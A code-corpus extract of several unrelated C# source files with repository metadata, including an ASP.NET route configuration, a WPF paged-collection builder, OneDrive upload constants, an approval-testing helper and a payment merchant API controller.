public class RouteConfig
{
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.MapRoute(
name: "Default",
url: "{controller}/{action}/{id}",
defaults: new { controller = "Home", action = "Index", id = UrlParameter.Optional }
);
}
}
}
| 24.791667 | 99 | 0.598319 |
[
"MIT"
] |
yiyungent/demos
|
AspNetMvc_MultiTemplateDemo/AspNetMvc_MultiTemplateDemo/App_Start/RouteConfig.cs
| 597 |
C#
|
using System;
using System.Collections.Generic;
using System.Text;
using ICSharpCode.AvalonEdit;
namespace JTranEdit
{
/*************************************************************************/
/*************************************************************************/
public interface ICodeEditor
{
TextEditor TextBox { get; }
Preferences Preferences { get; set; }
string SelectedText { get; set; }
string JsonContent { get; set; }
string CurrentFileName { get; set; }
JsonEditViewModel ViewModel { get; set; }
void UpdateFoldings();
}
}
| 30.130435 | 79 | 0.428571 |
[
"MIT"
] |
JTranOrg/JTranEd
|
JTranEdit/Classes/ICodeEditor.cs
| 695 |
C#
|
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics.Contracts;
using System.Linq;
using System.Threading.Tasks;
using Rikrop.Core.Framework.Services;
using Rikrop.Core.Wpf.Async;
namespace Rikrop.Core.Wpf.Collections
{
public class SequentialCollectionManagerBuilder<TItem>
{
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
public SequentialCollectionManagerBuilder()
{
_args = new SequentialCollectionManagerBuilderArgs<TItem>();
}
public SequentialCollectionManagerBuilder<TItem> SetFirstPageSize(int firstPageSize)
{
Contract.Requires<ArgumentException>(firstPageSize > 0);
_args.FirstPageSize = firstPageSize;
return this;
}
public SequentialCollectionManagerBuilder<TItem> SetPageSize(int pageSize)
{
Contract.Requires<ArgumentException>(pageSize > 0);
_args.PageSize = pageSize;
return this;
}
public SequentialCollectionManagerBuilder<TItem> UseTargetCollection(ObservableCollection<TItem> targetCollection)
{
_args.TargetCollection = targetCollection;
return this;
}
public SequentialCollectionManagerBuilder<TItem> AllowPageRequestToLoadEmptyCollection()
{
_args.PageRequestCanLoadEmptyCollection = true;
return this;
}
public SequentialCollectionManagerBuilder1<TItem> BuildLoader()
{
return new SequentialCollectionManagerBuilder1<TItem>(_args);
}
}
public class SequentialCollectionManagerBuilder1<TItem>
{
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
public SequentialCollectionManagerBuilder1(
SequentialCollectionManagerBuilderArgs<TItem> args)
{
Contract.Requires<ArgumentNullException>(args != null);
_args = args;
}
public SequentialCollectionManagerBuilder0<TItem> UsePageLoader(IPageLoader<TItem> pageLoader)
{
Contract.Requires<ArgumentNullException>(pageLoader != null);
return new SequentialCollectionManagerBuilder0<TItem>(_args, pageLoader);
}
public SequentialCollectionManagerBuilder11<TItem, TService> UseServiceExecutor<TService>(IServiceExecutor<TService> serviceExecutor)
{
return new SequentialCollectionManagerBuilder11<TItem, TService>(serviceExecutor, _args);
}
public SequentialCollectionManagerBuilder11<TItem, TService> UseServiceExecutor<TService>(IServiceExecutorFactory<TService> serviceExecutorFactory)
{
return new SequentialCollectionManagerBuilder11<TItem, TService>(serviceExecutorFactory.CreateSingleCall(), _args);
}
public SequentialCollectionManagerBuilder12<TItem, TService, TInnerItem> UseServiceExecutor<TService, TInnerItem>(IServiceExecutor<TService> serviceExecutor)
{
return new SequentialCollectionManagerBuilder12<TItem, TService, TInnerItem>(serviceExecutor, _args);
}
public SequentialCollectionManagerBuilder12<TItem, TService, TInnerItem> UseServiceExecutor<TService, TInnerItem>(IServiceExecutorFactory<TService> serviceExecutorFactory)
{
return new SequentialCollectionManagerBuilder12<TItem, TService, TInnerItem>(serviceExecutorFactory.CreateSingleCall(), _args);
}
}
public class SequentialCollectionManagerBuilder11<TItem, TService>
{
private readonly IServiceExecutor<TService> _serviceExecutor;
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
public SequentialCollectionManagerBuilder11(
IServiceExecutor<TService> serviceExecutor,
SequentialCollectionManagerBuilderArgs<TItem> args)
{
Contract.Requires<ArgumentNullException>(serviceExecutor != null);
Contract.Requires<ArgumentNullException>(args != null);
_serviceExecutor = serviceExecutor;
_args = args;
}
public SequentialCollectionManagerBuilder0<TItem> LoadWithFunc(Func<TService, int, int, Task<ICollection<TItem>>> loadFunc)
{
Contract.Requires<ArgumentNullException>(loadFunc != null);
return new SequentialCollectionManagerBuilder0<TItem>(_args, new ServicePageLoader(_serviceExecutor, loadFunc));
}
private class ServicePageLoader : IPageLoader<TItem>
{
private readonly IServiceExecutor<TService> _serviceExecutor;
private readonly Func<TService, int, int, Task<ICollection<TItem>>> _loadFunc;
public ServicePageLoader(
IServiceExecutor<TService> serviceExecutor,
Func<TService, int, int, Task<ICollection<TItem>>> loadFunc)
{
Contract.Requires<ArgumentNullException>(serviceExecutor != null);
Contract.Requires<ArgumentNullException>(loadFunc != null);
_serviceExecutor = serviceExecutor;
_loadFunc = loadFunc;
}
public Task<ICollection<TItem>> GetPage(int skipItems, int takeItems)
{
return _serviceExecutor.Execute(service => _loadFunc(service, skipItems, takeItems));
}
}
}
public class SequentialCollectionManagerBuilder12<TItem, TService, TInnerItem>
{
private readonly IServiceExecutor<TService> _serviceExecutor;
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
public SequentialCollectionManagerBuilder12(
IServiceExecutor<TService> serviceExecutor,
SequentialCollectionManagerBuilderArgs<TItem> args)
{
Contract.Requires<ArgumentNullException>(serviceExecutor != null);
Contract.Requires<ArgumentNullException>(args != null);
_serviceExecutor = serviceExecutor;
_args = args;
}
public SequentialCollectionManagerBuilder121<TItem, TService, TInnerItem> LoadWithFunc(Func<TService, int, int, Task<ICollection<TInnerItem>>> loadFunc)
{
Contract.Requires<ArgumentNullException>(loadFunc != null);
return new SequentialCollectionManagerBuilder121<TItem, TService, TInnerItem>(_serviceExecutor, loadFunc, _args);
}
}
public class SequentialCollectionManagerBuilder121<TItem, TService, TInnerItem>
{
private readonly IServiceExecutor<TService> _serviceExecutor;
private readonly Func<TService, int, int, Task<ICollection<TInnerItem>>> _loadFunc;
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
public SequentialCollectionManagerBuilder121(
IServiceExecutor<TService> serviceExecutor,
Func<TService, int, int, Task<ICollection<TInnerItem>>> loadFunc,
SequentialCollectionManagerBuilderArgs<TItem> args)
{
Contract.Requires<ArgumentNullException>(serviceExecutor != null);
Contract.Requires<ArgumentNullException>(loadFunc != null);
Contract.Requires<ArgumentNullException>(args != null);
_serviceExecutor = serviceExecutor;
_loadFunc = loadFunc;
_args = args;
}
public SequentialCollectionManagerBuilder0<TItem> ConvertWith(Func<TInnerItem, TItem> converter)
{
Contract.Requires<ArgumentNullException>(converter != null);
return new SequentialCollectionManagerBuilder0<TItem>(_args, new ServiceWithConverterPageLoader(_serviceExecutor, _loadFunc, converter));
}
private class ServiceWithConverterPageLoader : IPageLoader<TItem>
{
private readonly IServiceExecutor<TService> _serviceExecutor;
private readonly Func<TService, int, int, Task<ICollection<TInnerItem>>> _loadFunc;
private readonly Func<TInnerItem, TItem> _converter;
public ServiceWithConverterPageLoader(
IServiceExecutor<TService> serviceExecutor,
Func<TService, int, int, Task<ICollection<TInnerItem>>> loadFunc,
Func<TInnerItem, TItem> converter)
{
Contract.Requires<ArgumentNullException>(serviceExecutor != null);
Contract.Requires<ArgumentNullException>(loadFunc != null);
Contract.Requires<ArgumentNullException>(loadFunc != null);
_serviceExecutor = serviceExecutor;
_loadFunc = loadFunc;
_converter = converter;
}
public async Task<ICollection<TItem>> GetPage(int skipItems, int takeItems)
{
var data = await _serviceExecutor.Execute(service => _loadFunc(service, skipItems, takeItems));
return data.Select(i => _converter(i)).ToArray();
}
}
}
public class SequentialCollectionManagerBuilder0<TItem>
{
private const int DefaultPageSize = 100;
private readonly SequentialCollectionManagerBuilderArgs<TItem> _args;
private readonly IPageLoader<TItem> _pageLoader;
public SequentialCollectionManagerBuilder0(
SequentialCollectionManagerBuilderArgs<TItem> args,
IPageLoader<TItem> pageLoader)
{
Contract.Requires<ArgumentNullException>(args != null);
Contract.Requires<ArgumentNullException>(pageLoader != null);
_args = args;
_pageLoader = pageLoader;
}
public SequentialCollectionManager<TItem> Create()
{
var cps = _args.PageSize.HasValue
? _args.PageSize.Value
: DefaultPageSize;
var fps = _args.FirstPageSize.HasValue
? _args.FirstPageSize.Value
: cps;
return new SequentialCollectionManager<TItem>(
targetCollection: _args.TargetCollection ?? new ObservableCollection<TItem>(),
pageLoader: _pageLoader,
defaultSequentialCollectionRefreshStrategy: new CurrentPositionSequentialCollectionRefreshStrategy<TItem>(firstPageSize: fps, commonPageSize: cps),
sequentialCollectionRefreshToStartStrategy: new FirstPageSequentialCollectionRefreshStrategy<TItem>(firstPageSize: fps, commonPageSize: cps),
pageRequestCanLoadEmptyCollection: _args.PageRequestCanLoadEmptyCollection);
}
}
public class SequentialCollectionManagerBuilderArgs<TItem>
{
public int? FirstPageSize { get; set; }
public int? PageSize { get; set; }
public ObservableCollection<TItem> TargetCollection { get; set; }
public bool PageRequestCanLoadEmptyCollection { get; set; }
}
}
| 43.320158 | 179 | 0.677737 |
[
"Apache-2.0"
] |
rikrop/Rikrop.Core.Wpf
|
Rikrop.Core.Wpf.40/Collections/SequentialCollectionManagerBuilder.cs
| 10,962 |
C#
|
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace Microsoft.Toolkit.Services.OneDrive
{
/// <summary>
/// Class of the OneDrive Constants
/// </summary>
public class OneDriveUploadConstants
{
/// <summary>
/// Maximum file size for a simple upload
/// </summary>
public const int SimpleUploadMaxSize = 4 * 1024 * 1024;
/// <summary>
/// Default chunk when uploading a karge file
/// </summary>
public const int DefaultMaxChunkSizeForUploadSession = 5 * 1024 * 1024;
/// <summary>
/// Chunk size increment
/// </summary>
public const int RequiredChunkSizeIncrementForUploadSession = 320 * 1024;
}
}
| 31.607143 | 81 | 0.633898 |
[
"MIT"
] |
14632791/WindowsCommunityToolkit
|
Microsoft.Toolkit.Services/Services/OneDrive/OneDriveUploadConstants.cs
| 885 |
C#
|
using System;
using System.IO;
using ApprovalTests.Core;
namespace ApprovalTests.Utilities;
public static class StringReporting
{
public static void DiffWith(this string expected, string actual)
{
AssertEqual(expected, actual, Approvals.GetReporter());
}
public static void AssertEqual(string expected, string actual, IApprovalFailureReporter reporter)
{
if (expected != actual)
{
var expectedFile = Path.GetTempPath() + "Expected.Approvals.Temp.txt";
var actualFile = TempApprovalFile;
File.WriteAllText(expectedFile, expected);
File.WriteAllText(actualFile, actual);
reporter.Report(expectedFile, actualFile);
throw new Exception($"<{expected}> != <{actual}>");
}
}
public static string TempApprovalFile => Path.GetTempPath() + "Actual.Approvals.Temp.txt";
}
| 30.933333 | 102 | 0.644397 |
[
"Apache-2.0"
] |
skalinets/ApprovalTests.Net
|
src/ApprovalTests/Utilities/StringReporting.cs
| 901 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
using MediatR;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using payme.Application.Commands;
using payme.Application.Models;
using payme.Application.Queries;
using payme.Core.DTOs.APIResponses;
using payme.WebAPI.Controllers;
namespace payme.Controllers
{
[Route("api")]
[ApiController]
public class MerchantController : BaseController
{
[ProducesResponseType(typeof(CustomerResp), (int)HttpStatusCode.BadRequest)]
[ProducesResponseType(typeof(CustomerResp), (int)HttpStatusCode.OK)]
[Produces("application/json")]
[HttpPost, Route("Creator")]
public async Task<IActionResult> Creator([FromBody] CreateCustomerCommand command)
{
var res = await Mediator.Send(command);
return Ok(res);
}
[ProducesResponseType(typeof(ProductResp), (int)HttpStatusCode.BadRequest)]
[ProducesResponseType(typeof(ProductResp), (int)HttpStatusCode.OK)]
[Produces("application/json")]
[HttpPost, Route("Product")]
public async Task<IActionResult> Product([FromBody] CreateProductCommand command)
{
var res = await Mediator.Send(command);
return Ok(res);
}
[ProducesResponseType(typeof(TransactionResp), (int)HttpStatusCode.BadRequest)]
[ProducesResponseType(typeof(TransactionResp), (int)HttpStatusCode.OK)]
[Produces("application/json")]
[HttpPost, Route("RecurringPayment")]
public async Task<IActionResult> RecurringPayment([FromBody] CreatePlanCommand command)
{
var res = await Mediator.Send(command);
return Ok(res);
}
[ProducesResponseType(typeof(TransactionResp), (int)HttpStatusCode.BadRequest)]
[ProducesResponseType(typeof(TransactionResp), (int)HttpStatusCode.OK)]
[Produces("application/json")]
[HttpPost, Route("OneTimePayment")]
public async Task<IActionResult> OneTimePayment([FromBody] InitializeTransactionCommand command)
{
var res = await Mediator.Send(command);
return Ok(res);
}
[ProducesResponseType(typeof(ProductModel), (int)HttpStatusCode.BadRequest)]
[ProducesResponseType(typeof(ProductModel), (int)HttpStatusCode.OK)]
[Produces("application/json")]
[HttpGet, Route("Product")]
public async Task<IActionResult> Product()
{
var command = new FetchAllProductsQuery();
var res = await Mediator.Send(command);
return Ok(res);
}
}
}
| 37.569444 | 104 | 0.671719 |
[
"MIT"
] |
amoweolubusayo/payme
|
payme.WebAPI/Controllers/MerchantController.cs
| 2,705 |
C#
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.